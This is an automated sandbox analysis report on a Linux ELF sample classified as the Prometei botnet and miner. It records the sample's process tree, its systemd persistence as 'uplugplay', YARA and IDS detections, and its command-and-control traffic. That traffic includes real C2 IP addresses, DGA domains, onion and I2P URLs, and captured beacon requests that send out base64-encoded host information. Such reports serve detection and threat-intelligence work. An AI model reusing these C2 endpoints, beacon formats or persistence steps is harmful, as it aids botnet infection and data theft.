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Linux Analysis Report
na.elf

Overview

General Information

Sample name:	na.elf
Analysis ID:	1644112
MD5:	d057dab2516cd9a1a043a7e39c8ccbb2
SHA1:	08aec62a59428db8064daf07312df7388b00b8e5
SHA256:	9c8c37f95685468b6743b236be4c0a3f03251bcbc8f41af5e3cbf1973831dace
Tags:	elfuser-abuse_ch
Infos:

Detection

Prometei

Score:	100
Range:	0 - 100

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Prometei

Drops files in suspicious directories

Found Tor onion address

Sample deletes itself

Sample is packed with UPX

Creates hidden files and/or directories

ELF contains segments with high entropy indicating compressed/encrypted content

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "pgrep" command search for and/or send signals to processes

Executes the "systemctl" command used for controlling the systemd system and service manager

Executes the "uname" command used to read OS and architecture name

HTTP GET or POST without a user agent

Reads CPU information from /proc indicative of miner or evasive malware

Reads CPU information from /sys indicative of miner or evasive malware

Reads system information from the proc file system

Sample contains only a LOAD segment without any section mappings

Sample listens on a socket

Sample tries to set the executable flag

Suricata IDS alerts with low severity for network traffic

Uses the "uname" system call to query kernel version information (possible evasion)

Writes ELF files to disk

Yara signature match

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1644112
Start date and time:	2025-03-20 11:27:38 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	na.elf
Detection:	MAL
Classification:	mal100.troj.evad.linELF@0/5@5/0

Warnings

VT rate limit hit for: xincacfda.org

Runtime Messages

Command:	/tmp/na.elf
PID:	5439
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	Starting... System install...OK
Standard Error:	Created symlink /etc/systemd/system/multi-user.target.wants/uplugplay.service /lib/systemd/system/uplugplay.service.

Process Tree

system is lnxubuntu20

na.elf (PID: 5439, Parent: 5361, MD5: d057dab2516cd9a1a043a7e39c8ccbb2) Arguments: /tmp/na.elf

na.elf New Fork (PID: 5442, Parent: 5439)

sh (PID: 5442, Parent: 5439, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "pgrep na.elf"

sh New Fork (PID: 5443, Parent: 5442)

pgrep (PID: 5443, Parent: 5442, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pgrep na.elf

na.elf New Fork (PID: 5446, Parent: 5439)

sh (PID: 5446, Parent: 5439, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "pidof na.elf"

sh New Fork (PID: 5447, Parent: 5446)

pidof (PID: 5447, Parent: 5446, MD5: f58f67968fc50f1497f9ea9e9c22b6e8) Arguments: pidof na.elf

na.elf New Fork (PID: 5450, Parent: 5439)

sh (PID: 5450, Parent: 5439, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "pgrep uplugplay"

sh New Fork (PID: 5451, Parent: 5450)

pgrep (PID: 5451, Parent: 5450, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pgrep uplugplay

na.elf New Fork (PID: 5456, Parent: 5439)

sh (PID: 5456, Parent: 5439, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "pidof uplugplay"

sh New Fork (PID: 5457, Parent: 5456)

pidof (PID: 5457, Parent: 5456, MD5: f58f67968fc50f1497f9ea9e9c22b6e8) Arguments: pidof uplugplay

na.elf New Fork (PID: 5466, Parent: 5439)

sh (PID: 5466, Parent: 5439, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "pgrep upnpsetup"

sh New Fork (PID: 5467, Parent: 5466)

pgrep (PID: 5467, Parent: 5466, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pgrep upnpsetup

na.elf New Fork (PID: 5470, Parent: 5439)

sh (PID: 5470, Parent: 5439, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl daemon-reload"

sh New Fork (PID: 5471, Parent: 5470)

systemctl (PID: 5471, Parent: 5470, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl daemon-reload

na.elf New Fork (PID: 5475, Parent: 5439)

sh (PID: 5475, Parent: 5439, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl enable uplugplay.service"

sh New Fork (PID: 5476, Parent: 5475)

systemctl (PID: 5476, Parent: 5475, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl enable uplugplay.service

na.elf New Fork (PID: 5480, Parent: 5439)

sh (PID: 5480, Parent: 5439, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl start uplugplay.service"

sh New Fork (PID: 5481, Parent: 5480)

systemctl (PID: 5481, Parent: 5480, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl start uplugplay.service

systemd New Fork (PID: 5473, Parent: 5472)

snapd-env-generator (PID: 5473, Parent: 5472, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

systemd New Fork (PID: 5478, Parent: 5477)

snapd-env-generator (PID: 5478, Parent: 5477, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

systemd New Fork (PID: 5482, Parent: 1)

uplugplay (PID: 5482, Parent: 1, MD5: d057dab2516cd9a1a043a7e39c8ccbb2) Arguments: /usr/sbin/uplugplay

uplugplay New Fork (PID: 5493, Parent: 5482)

uplugplay New Fork (PID: 5494, Parent: 5493)

sh (PID: 5494, Parent: 5493, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "/usr/sbin/uplugplay -Dcomsvc"

sh New Fork (PID: 5495, Parent: 5494)

uplugplay (PID: 5495, Parent: 5494, MD5: d057dab2516cd9a1a043a7e39c8ccbb2) Arguments: /usr/sbin/uplugplay -Dcomsvc

uplugplay New Fork (PID: 5501, Parent: 5495)

sh (PID: 5501, Parent: 5495, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c hostnamectl

sh New Fork (PID: 5502, Parent: 5501)

hostnamectl (PID: 5502, Parent: 5501, MD5: b1245aa6d3c28b5d5fedb2d681d32eb9) Arguments: hostnamectl

uplugplay New Fork (PID: 5505, Parent: 5495)

sh (PID: 5505, Parent: 5495, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c hostnamectl

sh New Fork (PID: 5506, Parent: 5505)

hostnamectl (PID: 5506, Parent: 5505, MD5: b1245aa6d3c28b5d5fedb2d681d32eb9) Arguments: hostnamectl

uplugplay New Fork (PID: 5643, Parent: 5495)

sh (PID: 5643, Parent: 5495, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c uptime

sh New Fork (PID: 5645, Parent: 5643)

uptime (PID: 5645, Parent: 5643, MD5: 3ad70d8e33316ac713bf25c2ddf2fb14) Arguments: uptime

uplugplay New Fork (PID: 5644, Parent: 5495)

sh (PID: 5644, Parent: 5495, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c uptime

sh New Fork (PID: 5646, Parent: 5644)

uptime (PID: 5646, Parent: 5644, MD5: 3ad70d8e33316ac713bf25c2ddf2fb14) Arguments: uptime

uplugplay New Fork (PID: 5649, Parent: 5495)

sh (PID: 5649, Parent: 5495, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "uname -a"

sh New Fork (PID: 5650, Parent: 5649)

uname (PID: 5650, Parent: 5649, MD5: 4ac7c634c5bec95753c480e9d421dcc2) Arguments: uname -a

uplugplay New Fork (PID: 5653, Parent: 5495)

sh (PID: 5653, Parent: 5495, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "uname -a"

sh New Fork (PID: 5654, Parent: 5653)

uname (PID: 5654, Parent: 5653, MD5: 4ac7c634c5bec95753c480e9d421dcc2) Arguments: uname -a

systemd New Fork (PID: 5507, Parent: 1)

systemd-hostnamed (PID: 5507, Parent: 1, MD5: 2cc8a5576629a2d5bd98e49a4b8bef65) Arguments: /lib/systemd/systemd-hostnamed

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Prometei		No Attribution	https://blog.talosintelligence.com/2020/07/prometei-botnet-and-its-quest-for-monero.html https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html https://cujo.com/iot-malware-journals-prometei-linux/ https://twitter.com/IntezerLabs/status/1338480158249013250 https://www.cybereason.com/blog/prometei-botnet-exploiting-microsoft-exchange-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/elf.prometei

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
na.elf	Linux_Trojan_Dofloo_ac3333d1	unknown	unknown	0x5bcdb:$a: 76 77 78 95 5C C9 95 79 7A C9 95 5C C9 41 42 43 5C C9 95 5C 44 45

Dropped Files

Source	Rule	Description	Author	Strings
/usr/sbin/uplugplay	Linux_Trojan_Dofloo_ac3333d1	unknown	unknown	0x5bcdb:$a: 76 77 78 95 5C C9 95 79 7A C9 95 5C C9 41 42 43 5C C9 95 5C 44 45

Memory Dumps

Source	Rule	Description	Author	Strings
5439.1.0000000000401000.00000000004f9000.r-x.sdmp	Linux_Hacktool_Flooder_1a4eb229	unknown	unknown	0x9beb:$a: F4 8B 45 E8 83 C0 01 89 45 F8 EB 0F 8B 45 E8 83 C0 01 89 45 F4 8B
5439.1.0000000000401000.00000000004f9000.r-x.sdmp	Linux_Hacktool_Flooder_f454ec10	unknown	unknown	0xb569:$a: 8B 45 EC 48 63 D0 48 8B 45 D0 48 01 D0 0F B6 00 3C 2E 75 4D 8B
5439.1.000000000052d000.0000000001575000.rw-.sdmp	Linux_Trojan_Dofloo_ac3333d1	unknown	unknown	0x7190db:$a: 76 77 78 95 5C C9 95 79 7A C9 95 5C C9 41 42 43 5C C9 95 5C 44 45
Process Memory Space: na.elf PID: 5439	JoeSecurity_Prometei	Yara detected Prometei	Joe Security
Process Memory Space: na.elf PID: 5439	JoeSecurity_Prometei_1	Yara detected Prometei	Joe Security

Suricata Signatures

ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-20T11:30:48.040817+0100	2018141	1	A Network Trojan was detected	54.255.164.76	80	192.168.2.13	36700	TCP

ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-20T11:30:48.040817+0100	2037771	1	A Network Trojan was detected	54.255.164.76	80	192.168.2.13	36700	TCP

ET MALWARE Prometei Botnet CnC DGA - xinchao Pattern

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-20T11:30:46.090369+0100	2044560	1	A Network Trojan was detected	192.168.2.13	52778	8.8.8.8	53	UDP
2025-03-20T11:30:46.192017+0100	2044560	1	A Network Trojan was detected	192.168.2.13	43144	8.8.8.8	53	UDP
2025-03-20T11:30:46.293956+0100	2044560	1	A Network Trojan was detected	192.168.2.13	53280	8.8.8.8	53	UDP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-20T11:28:41.850956+0100	2803305	3	Unknown Traffic	192.168.2.13	34320	152.36.128.18	80	TCP
2025-03-20T11:28:44.692645+0100	2803305	3	Unknown Traffic	192.168.2.13	34322	152.36.128.18	80	TCP
2025-03-20T11:30:47.487725+0100	2803305	3	Unknown Traffic	192.168.2.13	36700	54.255.164.76	80	TCP
2025-03-20T11:30:48.252658+0100	2803305	3	Unknown Traffic	192.168.2.13	45456	85.214.228.140	80	TCP

Joe Sandbox Signatures

• AV Detection
• Bitcoin Miner
• Networking
• System Summary
• Data Obfuscation
• Persistence and Installation Behavior
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion
• Stealing of Sensitive Information

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: na.elf

Avira: detected

Antivirus detection for dropped file

Source: /usr/sbin/uplugplay

Avira: detection malicious, Label: LINUX/GM.Agent.JQ

Multi AV Scanner detection for submitted file

Source: na.elf	Virustotal: Detection: 36%			Perma Link
Source: na.elf	ReversingLabs: Detection: 47%

Bitcoin Miner

Yara detected Prometei

Source: Yara match

File source: Process Memory Space: na.elf PID: 5439, type: MEMORYSTR

Source: /usr/sbin/uplugplay (PID: 5495)

Reads CPU info from proc file: /proc/cpuinfo

Jump to behavior

Source: /usr/bin/pgrep (PID: 5443)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pgrep (PID: 5467)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5495)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/uptime (PID: 5645)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/uptime (PID: 5646)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044560 - Severity 1 - ET MALWARE Prometei Botnet CnC DGA - xinchao Pattern : 192.168.2.13:52778 -> 8.8.8.8:53
Source: Network traffic	Suricata IDS: 2044560 - Severity 1 - ET MALWARE Prometei Botnet CnC DGA - xinchao Pattern : 192.168.2.13:43144 -> 8.8.8.8:53
Source: Network traffic	Suricata IDS: 2044560 - Severity 1 - ET MALWARE Prometei Botnet CnC DGA - xinchao Pattern : 192.168.2.13:53280 -> 8.8.8.8:53

Found Tor onion address

Source: na.elf, 5439.1.000000000052d000.0000000001575000.rw-.sdmp	String found in binary or memory: https://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgi
Source: na.elf, 5439.1.000000000052d000.0000000001575000.rw-.sdmp	String found in binary or memory: nNhttp://152.36.128.18/cgi-bin/p.cgihttp://dummy.zero/cgi-bin/prometei.cgihttps://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgihttp://mkhkjxgchtfgu7uhofxzgoawntfzrkdccymveektqgpxrpjb72oq.b32.i2p/cgi-bin/prometei.cgi/usr/sbin/uplugplay/etc/uplugplay/etc/CommIdcrashed.dump/usr/sbin//etc/msdtcmsdtc2msdtc3/etc/pcc0/etc/pcc1pbdebug

Source: global traffic	HTTP traffic detected: GET /cgi-bin/p.cgi?r=14&i=SS5O78A078064Y29 HTTP/1.0Host: 152.36.128.18
Source: global traffic	HTTP traffic detected: GET /cgi-bin/p.cgi?add=aW5mbyB7DQp2NC4wMlZfVW5peDY0DQpnYWxhc3NpYQ0KDQoyeCBJbnRlbChSKSBYZW9uKFIpIFNpbHZlciA0MjEwIENQVSBAIDIuMjBHSHoNCjMwNjQyOTYga0INCnZtd2FyZQ0KDQoNCg0KVWJ1bnR1ICYgMjAuMDQuMiBMVFMgKEZvY2FsIEZvc3NhKSANCg0KL3Vzci9zYmluLw0KIDA1OjI4OjQzIHVwIDIgbWluLCAgMSB1c2VyLCAgbG9hZCBhdmVyYWdlOiAyLjI4LCAwLjk4LCAwLjM4fDE3NDI0NjY1MjMNCg0KfQ0K&i=SS5O78A078064Y29&h=galassia&enckey=aZ1CLd/dtdI8aVyuaXZ92iYrNbrnDQsLQ8JBXt0AjYUnd9C632tqm0CBfzp0shLlfn4AGLh06Y0CNt6UIPatamYQ8J+r4hg9cOSuwwQGfJDnNaByp/eCV1TRr+hJ/Vo/3DC1CxVlhocgnAKj6Yxy4G5XNBvWYSo7umUSwM4w+gI= HTTP/1.0Host: 152.36.128.18
Source: global traffic	HTTP traffic detected: GET /cgi-bin/p.cgi?r=0&auth=hash&i=SS5O78A078064Y29&enckey=aZ1CLd/dtdI8aVyuaXZ92iYrNbrnDQsLQ8JBXt0AjYUnd9C632tqm0CBfzp0shLlfn4AGLh06Y0CNt6UIPatamYQ8J-r4hg9cOSuwwQGfJDnNaByp/eCV1TRr-hJ/Vo/3DC1CxVlhocgnAKj6Yxy4G5XNBvWYSo7umUSwM4w-gI_ HTTP/1.0Host: xinchaocacfda.net
Source: global traffic	HTTP traffic detected: GET /cgi-bin/p.cgi?r=0&auth=hash&i=SS5O78A078064Y29&enckey=aZ1CLd/dtdI8aVyuaXZ92iYrNbrnDQsLQ8JBXt0AjYUnd9C632tqm0CBfzp0shLlfn4AGLh06Y0CNt6UIPatamYQ8J-r4hg9cOSuwwQGfJDnNaByp/eCV1TRr-hJ/Vo/3DC1CxVlhocgnAKj6Yxy4G5XNBvWYSo7umUSwM4w-gI_ HTTP/1.0Host: xincacfda.org

Source: /usr/sbin/uplugplay (PID: 5495)

Socket: 0.0.0.0:89

Jump to behavior

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.13:45456 -> 85.214.228.140:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.13:34322 -> 152.36.128.18:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.13:36700 -> 54.255.164.76:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.13:34320 -> 152.36.128.18:80
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 54.255.164.76:80 -> 192.168.2.13:36700
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 54.255.164.76:80 -> 192.168.2.13:36700

Source: unknown	TCP traffic detected without corresponding DNS query: 152.36.128.18
Source: unknown	TCP traffic detected without corresponding DNS query: 152.36.128.18
Source: unknown	TCP traffic detected without corresponding DNS query: 152.36.128.18
Source: unknown	TCP traffic detected without corresponding DNS query: 152.36.128.18
Source: unknown	TCP traffic detected without corresponding DNS query: 152.36.128.18
Source: unknown	TCP traffic detected without corresponding DNS query: 152.36.128.18
Source: unknown	TCP traffic detected without corresponding DNS query: 152.36.128.18
Source: unknown	TCP traffic detected without corresponding DNS query: 152.36.128.18
Source: unknown	TCP traffic detected without corresponding DNS query: 152.36.128.18
Source: unknown	TCP traffic detected without corresponding DNS query: 152.36.128.18

Source: global traffic	HTTP traffic detected: GET /cgi-bin/p.cgi?r=14&i=SS5O78A078064Y29 HTTP/1.0Host: 152.36.128.18
Source: global traffic	HTTP traffic detected: GET /cgi-bin/p.cgi?add=aW5mbyB7DQp2NC4wMlZfVW5peDY0DQpnYWxhc3NpYQ0KDQoyeCBJbnRlbChSKSBYZW9uKFIpIFNpbHZlciA0MjEwIENQVSBAIDIuMjBHSHoNCjMwNjQyOTYga0INCnZtd2FyZQ0KDQoNCg0KVWJ1bnR1ICYgMjAuMDQuMiBMVFMgKEZvY2FsIEZvc3NhKSANCg0KL3Vzci9zYmluLw0KIDA1OjI4OjQzIHVwIDIgbWluLCAgMSB1c2VyLCAgbG9hZCBhdmVyYWdlOiAyLjI4LCAwLjk4LCAwLjM4fDE3NDI0NjY1MjMNCg0KfQ0K&i=SS5O78A078064Y29&h=galassia&enckey=aZ1CLd/dtdI8aVyuaXZ92iYrNbrnDQsLQ8JBXt0AjYUnd9C632tqm0CBfzp0shLlfn4AGLh06Y0CNt6UIPatamYQ8J+r4hg9cOSuwwQGfJDnNaByp/eCV1TRr+hJ/Vo/3DC1CxVlhocgnAKj6Yxy4G5XNBvWYSo7umUSwM4w+gI= HTTP/1.0Host: 152.36.128.18
Source: global traffic	HTTP traffic detected: GET /cgi-bin/p.cgi?r=0&auth=hash&i=SS5O78A078064Y29&enckey=aZ1CLd/dtdI8aVyuaXZ92iYrNbrnDQsLQ8JBXt0AjYUnd9C632tqm0CBfzp0shLlfn4AGLh06Y0CNt6UIPatamYQ8J-r4hg9cOSuwwQGfJDnNaByp/eCV1TRr-hJ/Vo/3DC1CxVlhocgnAKj6Yxy4G5XNBvWYSo7umUSwM4w-gI_ HTTP/1.0Host: xinchaocacfda.net
Source: global traffic	HTTP traffic detected: GET /cgi-bin/p.cgi?r=0&auth=hash&i=SS5O78A078064Y29&enckey=aZ1CLd/dtdI8aVyuaXZ92iYrNbrnDQsLQ8JBXt0AjYUnd9C632tqm0CBfzp0shLlfn4AGLh06Y0CNt6UIPatamYQ8J-r4hg9cOSuwwQGfJDnNaByp/eCV1TRr-hJ/Vo/3DC1CxVlhocgnAKj6Yxy4G5XNBvWYSo7umUSwM4w-gI_ HTTP/1.0Host: xincacfda.org

Source: global traffic	DNS traffic detected: DNS query: xinchaocacfda.com
Source: global traffic	DNS traffic detected: DNS query: xinchaocacfda.net
Source: global traffic	DNS traffic detected: DNS query: xincacfda.org

Source: na.elf, uplugplay.12.dr	String found in binary or memory: http://152.36.128
Source: na.elf, 5439.1.000000000052d000.0000000001575000.rw-.sdmp	String found in binary or memory: http://152.36.128.18/cgi-bin/p.cgi
Source: na.elf, 5439.1.000000000052d000.0000000001575000.rw-.sdmp	String found in binary or memory: http://152.36.128.18/cgi-bin/p.cgihttp://dummy.zero/cgi-bin/prometei.cgihttps://gb7ni5rgeexdcncj.oni
Source: na.elf, 5439.1.000000000052d000.0000000001575000.rw-.sdmp	String found in binary or memory: http://dummy.zero/cgi-bin/prometei.cgi
Source: na.elf, 5439.1.000000000052d000.0000000001575000.rw-.sdmp	String found in binary or memory: http://mkhkjxgchtfgu7uhofxzgoawntfzrkdccymveektqgpxrpjb72oq.b32.i2p/cgi-bin/prometei.cgi
Source: na.elf, uplugplay.12.dr	String found in binary or memory: http://upx.sf.net
Source: na.elf, 5439.1.000000000052d000.0000000001575000.rw-.sdmp	String found in binary or memory: https://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgi

System Summary

Malicious sample detected (through community Yara rule)

Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Dofloo_ac3333d1 Author: unknown
Source: 5439.1.0000000000401000.00000000004f9000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Hacktool_Flooder_1a4eb229 Author: unknown
Source: 5439.1.0000000000401000.00000000004f9000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Hacktool_Flooder_f454ec10 Author: unknown
Source: 5439.1.000000000052d000.0000000001575000.rw-.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Dofloo_ac3333d1 Author: unknown
Source: /usr/sbin/uplugplay, type: DROPPED	Matched rule: Linux_Trojan_Dofloo_ac3333d1 Author: unknown

Source: LOAD without section mappings

Program segment: 0x400000

Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Dofloo_ac3333d1 severity = 100, os = linux, arch_context = x86, creation_date = 2022-01-05, scan_context = file, memory, reference = 04664dc5ea14ddff5301e66c46d6795f1582c148b5cb621248424d015245c95e, license = Elastic License v2, threat_name = Linux.Trojan.Dofloo, fingerprint = a8f360e2a545e65b5f9f2273715c1a5008a0fe4f88f6e14becd6e69158aab409, id = ac3333d1-df88-459b-a411-00b4fc947f3f, last_modified = 2022-01-26
Source: 5439.1.0000000000401000.00000000004f9000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Hacktool_Flooder_1a4eb229 reference_sample = bf6f3ffaf94444a09b69cbd4c8c0224d7eb98eb41514bdc3f58c1fb90ac0e705, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Hacktool.Flooder, fingerprint = de076ef23c2669512efc00ddfe926ef04f8ad939061c69131a0ef9a743639371, id = 1a4eb229-a194-46a5-8e93-370a40ba999b, last_modified = 2021-09-16
Source: 5439.1.0000000000401000.00000000004f9000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Hacktool_Flooder_f454ec10 severity = 100, os = linux, arch_context = x86, creation_date = 2022-01-05, scan_context = file, memory, reference = 0297e1ad6e180af85256a175183102776212d324a2ce0c4f32e8a44a2e2e9dad, license = Elastic License v2, threat_name = Linux.Hacktool.Flooder, fingerprint = 2ae5e2c3190a4ce5d238efdb10ac0520987425fb7af52246b6bf948abd0259da, id = f454ec10-7a67-4717-9e95-fecb7c357566, last_modified = 2022-01-26
Source: 5439.1.000000000052d000.0000000001575000.rw-.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Dofloo_ac3333d1 severity = 100, os = linux, arch_context = x86, creation_date = 2022-01-05, scan_context = file, memory, reference = 04664dc5ea14ddff5301e66c46d6795f1582c148b5cb621248424d015245c95e, license = Elastic License v2, threat_name = Linux.Trojan.Dofloo, fingerprint = a8f360e2a545e65b5f9f2273715c1a5008a0fe4f88f6e14becd6e69158aab409, id = ac3333d1-df88-459b-a411-00b4fc947f3f, last_modified = 2022-01-26
Source: /usr/sbin/uplugplay, type: DROPPED	Matched rule: Linux_Trojan_Dofloo_ac3333d1 severity = 100, os = linux, arch_context = x86, creation_date = 2022-01-05, scan_context = file, memory, reference = 04664dc5ea14ddff5301e66c46d6795f1582c148b5cb621248424d015245c95e, license = Elastic License v2, threat_name = Linux.Trojan.Dofloo, fingerprint = a8f360e2a545e65b5f9f2273715c1a5008a0fe4f88f6e14becd6e69158aab409, id = ac3333d1-df88-459b-a411-00b4fc947f3f, last_modified = 2022-01-26

Source: classification engine

Classification label: mal100.troj.evad.linELF@0/5@5/0

Data Obfuscation

Sample is packed with UPX

Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Id: UPX 4.24 Copyright (C) 1996-2024 the UPX Team. All Rights Reserved. $

Source: /usr/bin/pidof (PID: 5447)	Directory: //.	Jump to behavior
Source: /usr/bin/pidof (PID: 5457)	Directory: //.	Jump to behavior
Source: /lib/systemd/systemd-hostnamed (PID: 5507)	Directory: <invalid fd (10)>/..	Jump to behavior

Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/5386/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/5386/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/230/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/230/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/110/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/110/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/231/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/231/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/111/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/111/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/232/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/232/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/112/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/112/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/233/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/233/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/113/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/113/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/234/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/234/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/114/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/114/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/235/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/235/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/115/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/115/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/236/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/236/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/116/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/116/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/237/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/237/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/117/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/117/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/238/status	Jump to behavior
